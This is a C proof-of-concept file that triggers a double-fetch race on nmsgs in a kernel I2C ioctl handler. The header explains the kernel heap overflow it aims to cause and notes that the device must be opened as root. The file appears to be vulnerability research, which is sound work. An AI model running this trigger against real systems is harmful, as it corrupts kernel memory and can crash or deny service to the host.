DF-1109 / poc_iic_toctou.c
/* * DF-1109 trigger: TOCTOU double-fetch of d->nmsgs in I2CRDWR ioctl. * * iicioctl() (sys/bus/iicbus/iic.c:347-369) re-fetches d->nmsgs from USER * memory at every use (allocation, copyin, both loops, iicbus_transfer). * `d` is the raw user ioctl-data pointer (the kernel does NOT copyin ioctl * structs for drivers). A racing thread that bumps nmsgs AFTER the * kmalloc(N1) but BEFORE the copyin(N2)/loops(N3..N5) overflows the * allocated buf (16 bytes/excess entry) and usrbufs (8 bytes/excess entry). * * Trigger: two threads sharing a struct iic_rdwr_data in a mmap'd page. * T1: ioctl(fd, I2CRDWR, &data) in a loop. * T2: flip data.nmsgs between a small N (allocation size) and a large N * (overflow size) in a tight loop, timed so the bump lands between the * allocation kmalloc and the copyin/loops. * * PRECONDITIONS: * - /dev/iicN must exist (an i2c controller must attach). This guest has * NO i2c controller HW and no /dev/iic*, so the trigger cannot run here. * - /dev/iicN is created mode 0600 root:wheel (iic.c:129), so opening it * REQUIRES root. The bug is therefore a root->kernel TOCTOU (no * unprivileged boundary crossing); the realistic impact is a robustness / * hardening gap plus an OOM DoS (nmsgs=UINT32_MAX -> ~24GB M_WAITOK alloc). * * The bug is confirmed by source trace (see VERDICT.md). * * build: cc -O2 -pthread -o poc_iic_toctou poc_iic_toctou.c * run: ./poc_iic_toctou /dev/iic0 # as root, on a host with /dev/iic0 */ #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <pthread.h> #include <sys/ioctl.h> struct iic_msg { unsigned short slave; unsigned short len; unsigned char *buf; }; struct iic_rdwr_data { struct iic_msg *msgs; unsigned int nmsgs; }; #define I2CRDWR _IOW('i', 6, struct iic_rdwr_data) static volatile int stop = 0; static struct iic_rdwr_data *gdata; static void *racer(void *arg) { /* Flip nmsgs between the small allocation value and a larger overflow * value so that, with luck, the bump lands between the kmalloc (uses * small N) and the copyin/loops (use large N). */ while (!stop) { gdata->nmsgs = 1; /* small: sized for the kmalloc */ gdata->nmsgs = 64; /* large: overflows by 63*16 bytes */ } return NULL; } int main(int argc, char **argv) { const char *dev = (argc > 1) ? argv[1] : "/dev/iic0"; int fd = open(dev, O_RDWR); if (fd < 0) { perror("open"); return 1; } /* shared data in a writable page both threads see */ gdata = calloc(1, sizeof(*gdata)); struct iic_msg msgs[64]; memset(msgs, 0, sizeof(msgs)); gdata->msgs = msgs; pthread_t th; pthread_create(&th, NULL, racer, NULL); for (int i = 0; i < 100000 && !stop; i++) ioctl(fd, I2CRDWR, gdata); /* double-fetch window each call */ stop = 1; pthread_join(th, NULL); close(fd); puts("done"); return 0; } |